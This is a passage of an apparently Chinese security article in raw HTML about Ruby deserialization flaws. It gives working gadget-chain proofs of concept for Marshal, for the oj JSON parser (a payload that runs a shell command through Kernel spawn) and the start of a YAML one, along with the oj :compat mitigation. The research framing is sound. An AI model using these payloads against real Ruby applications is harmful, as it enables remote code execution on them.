宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">wa2</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">t</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Gem</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Package</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">TarReader</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">allocate</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">t</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">instance_variable_set</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;@io&#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">n</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">r</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Gem</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Requirement</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">allocate</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">r</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">instance_variable_set</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;@requirements&#39;</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">t</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">payload</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Marshal</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">dump</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">([</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Gem</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4FC1FF;mso-font-kerning:0pt;">SpecFetcher</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Gem</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">::</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4FC1FF;mso-font-kerning:0pt;">Installer</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">, </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">r</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">])</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">puts</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Marshal</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">load</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">payload</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">执行POC（ruby-3.0.0）：</span></p><p><img class="rich_pages wxw-img" data-backh="353" data-backw="578" data-ratio="0.6104046242774567" style="width: 100%;height: auto;" data-type="png" data-w="865" src="https://wechat2rss.xlab.app/img-proxy/?k=ae3f09fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5n6liaIAV9tKPY3VhW9vCvX5h9SzRSUDyaftdluib5JYgltazwYI66RGw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">搜索一些不安全的用法：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="369" data-backw="578" data-galleryid="" data-ratio="0.6385245901639345" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1220" src="https://wechat2rss.xlab.app/img-proxy/?k=95f89be6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5iaTQRBMnEmYPzbsib0awnUIiaTDuJ5EImlChP1vOTsyzzRRqQ8PBl77IA%2F640%3Fwx_fmt%3Dpng"/></p><h5 style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">JSON反序列化</span></strong><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;"></span></h5><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">Ruby 处理JSON时可能存在反序列化漏洞，但是不是Ruby内置的JSON解析器，而是第三方开发的解析器oj（<a href="https://github.com/ohler55/oj）。oj在解析JSON时支持多种数据类型，包括会导致代码执行的Object类型。" target="_blank">https://github.com/ohler55/oj）。oj在解析JSON时支持多种数据类型，包括会导致代码执行的Object类型。</a></span></p><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;">使用已经公开的POC测试：</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">require</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#34;oj&#34;</span></p><p style="background: rgb(30, 30, 30);"><br/></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">json</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;{&#34;^#1&#34;:[[{&#34;^c&#34;:&#34;Gem::SpecFetcher&#34;},{&#34;^c&#34;:&#34;Gem::Installer&#34;},{&#34;^o&#34;:&#34;Gem::Requirement&#34;,&#34;requirements&#34;:{&#34;^o&#34;:&#34;Gem::Package::TarReader&#34;,&#34;io&#34;:{&#34;^o&#34;:&#34;Net::BufferedIO&#34;,&#34;io&#34;:{&#34;^o&#34;:&#34;Gem::Package::TarReader::Entry&#34;,&#34;read&#34;:0,&#34;header&#34;:&#34;aaa&#34;},&#34;debug_output&#34;:{&#34;^o&#34;:&#34;Net::WriteAdapter&#34;,&#34;socket&#34;:{&#34;^o&#34;:&#34;Gem::RequestSet&#34;,&#34;sets&#34;:{&#34;^o&#34;:&#34;Net::WriteAdapter&#34;,&#34;socket&#34;:{&#34;^c&#34;:&#34;Kernel&#34;},&#34;method_id&#34;:&#34;:spawn&#34;},&#34;git_set&#34;:&#34;id
&gt;&gt;
/tmp/niubl&#34;},&#34;method_id&#34;:&#34;:resolve&#34;}}}}],&#34;dummy_value&#34;]}&#39;</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Oj</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">load</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">(</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#9CDCFE;mso-font-kerning:0pt;">json</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">)</span></p><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">执行</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">POC</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">（</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">ruby-3.0.0</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">）：</span><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-backh="242" data-backw="578" data-galleryid="" data-ratio="0.418648310387985" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1598" src="https://wechat2rss.xlab.app/img-proxy/?k=3660c121&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplSMgy8TI9DoP3dtZLZPPgW5iaAAzibsCwaFd1iayUWHwFeqeVBlJLkicklcRSZaFIrq7U33gIOwfibib4Uw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">oj</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">可以通过设置模</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">式，避免反序列化对象：</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#4EC9B0;mso-font-kerning:0pt;">Oj</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">.</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#DCDCAA;mso-font-kerning:0pt;">default_options</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> = {</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">:mode</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> =&gt; </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">:compat</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> }</span></p><h5 style=""><strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">YAML反序列化</span></strong><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></h5><p><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">Ruby YAML也支持反序列化对象，pysch 4.0之前版本调用YAML.load()函数即可反序列化对象，psych 4.0以后需要调用YAML.unsafe_load()才能反序列化对象。使用已经公开的POC测试：</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">- </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/class</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;Gem::SpecFetcher&#39;</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">- </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#569CD6;mso-font-kerning:0pt;">!ruby/class</span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;"> </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#CE9178;mso-font-kerning:0pt;">&#39;Gem::Installer&#39;</span></p><p style="background: rgb(30, 30, 30);"><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
宋体;mso-bidi-font-family:宋体;color:#D4D4D4;mso-font-kerning:0pt;">- </span><span lang="EN-US" style="mso-bidi-font-size:10.5pt;font-family:Consolas;mso-fareast-font-family:
